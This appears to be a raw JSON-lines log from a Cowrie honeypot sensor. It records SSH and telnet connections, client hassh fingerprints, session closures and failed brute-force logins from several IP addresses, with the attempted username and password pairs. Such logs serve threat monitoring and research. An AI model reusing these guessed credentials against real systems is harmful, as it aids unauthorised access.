{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:11.395453Z","src_ip":"31.40.204.166","session":"c4f092ad722a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angel777","message":"login attempt [admin/angel777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:11.635514Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.682881116867065,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:11.802149Z","src_ip":"152.42.224.71","session":"deca7ac71340","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:11.818959Z","src_ip":"31.40.204.166","session":"c4f092ad722a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.610602140426636,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:12.394207Z","src_ip":"152.42.224.71","session":"b0ab9e2d2786","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:12.738310Z","src_ip":"2.57.121.112","session":"e4b422e31353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:13.004991Z","src_ip":"31.40.204.166","session":"c4f092ad722a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.65836811065674,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:14.833550Z","src_ip":"152.42.224.71","session":"4336a5159097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48002,"dst_ip":"10.17.0.5","dst_port":22,"session":"68068b8601bd","protocol":"ssh","message":"New connection: 193.37.70.224:48002 (10.17.0.5:22) [session: 68068b8601bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:15.620689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:15.626555Z","src_ip":"193.37.70.224","session":"68068b8601bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:15.720791Z","src_ip":"193.37.70.224","session":"68068b8601bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147896321","message":"login attempt [root/147896321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:16.004975Z","src_ip":"193.37.70.224","session":"68068b8601bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49720,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b3168180d76","protocol":"ssh","message":"New connection: 185.236.22.41:49720 (10.17.0.5:22) [session: 6b3168180d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:16.339211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:16.351759Z","src_ip":"185.236.22.41","session":"6b3168180d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:16.449217Z","src_ip":"185.236.22.41","session":"6b3168180d76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:16.873073Z","src_ip":"185.236.22.41","session":"6b3168180d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:17.101987Z","src_ip":"193.37.70.224","session":"68068b8601bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:17.984722Z","src_ip":"185.236.22.41","session":"6b3168180d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00426197052002,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:20.686422Z","src_ip":"152.42.224.71","session":"d37e361e3030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49832,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8b7a3490f8","protocol":"telnet","message":"New connection: 152.42.224.71:49832 (10.17.0.5:23) [session: 9c8b7a3490f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:21.314992Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9df29699137","protocol":"telnet","message":"New connection: 152.42.224.71:49840 (10.17.0.5:23) [session: f9df29699137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:21.440207Z"}
{"eventid":"cowrie.session.closed","duration":53.73060631752014,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:22.764615Z","src_ip":"152.42.224.71","session":"9d6d49a86da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a34ed086747","protocol":"ssh","message":"New connection: 31.40.204.166:35474 (159.203.135.109:22) [session: 9a34ed086747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:23.323710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:23.384021Z","src_ip":"31.40.204.166","session":"9a34ed086747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:23.494247Z","src_ip":"31.40.204.166","session":"9a34ed086747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:24.303738Z","src_ip":"31.40.204.166","session":"9a34ed086747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:25.492401Z","src_ip":"31.40.204.166","session":"9a34ed086747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":39978,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc15ece3635","protocol":"ssh","message":"New connection: 170.106.159.59:39978 (10.17.0.5:22) [session: ebc15ece3635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:27.896545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:27.901232Z","src_ip":"170.106.159.59","session":"ebc15ece3635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:27.970891Z","src_ip":"170.106.159.59","session":"ebc15ece3635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.68932342529297,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:28.220010Z","src_ip":"152.42.224.71","session":"17c3f9b4afa4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"spring","message":"login attempt [root/spring] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:28.280451Z","src_ip":"170.106.159.59","session":"ebc15ece3635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:29.354036Z","src_ip":"170.106.159.59","session":"ebc15ece3635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209784507751,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:30.354413Z","src_ip":"152.42.224.71","session":"b38b3916ec6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40014,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e6d3db8703","protocol":"ssh","message":"New connection: 31.40.204.166:40014 (159.203.135.109:22) [session: 17e6d3db8703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:36.182843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:36.198559Z","src_ip":"31.40.204.166","session":"17e6d3db8703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:36.382752Z","src_ip":"31.40.204.166","session":"17e6d3db8703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.139734983444214,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:36.879757Z","src_ip":"152.42.224.71","session":"212ebdbf4535","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:37.117621Z","src_ip":"31.40.204.166","session":"17e6d3db8703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52998,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7cbce5d864b","protocol":"ssh","message":"New connection: 147.45.197.250:52998 (159.203.135.109:22) [session: a7cbce5d864b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:37.356078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:37.360890Z","src_ip":"147.45.197.250","session":"a7cbce5d864b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:37.454591Z","src_ip":"147.45.197.250","session":"a7cbce5d864b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66613666","message":"login attempt [root/66613666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:37.738895Z","src_ip":"147.45.197.250","session":"a7cbce5d864b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:38.292549Z","src_ip":"31.40.204.166","session":"17e6d3db8703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53604,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3159a18c8b0","protocol":"telnet","message":"New connection: 152.42.224.71:53604 (10.17.0.5:23) [session: f3159a18c8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:38.810585Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:38.834588Z","src_ip":"147.45.197.250","session":"a7cbce5d864b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53616,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b293bc3316","protocol":"telnet","message":"New connection: 152.42.224.71:53616 (10.17.0.5:23) [session: 42b293bc3316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:39.961182Z"}
{"eventid":"cowrie.session.closed","duration":39.584471464157104,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:41.061193Z","src_ip":"152.42.224.71","session":"ac73774857d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53618,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a48d5cd0102","protocol":"telnet","message":"New connection: 152.42.224.71:53618 (10.17.0.5:23) [session: 3a48d5cd0102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:43.071135Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55818,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a673c5172a","protocol":"telnet","message":"New connection: 152.42.224.71:55818 (10.17.0.5:23) [session: 01a673c5172a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:47.270882Z"}
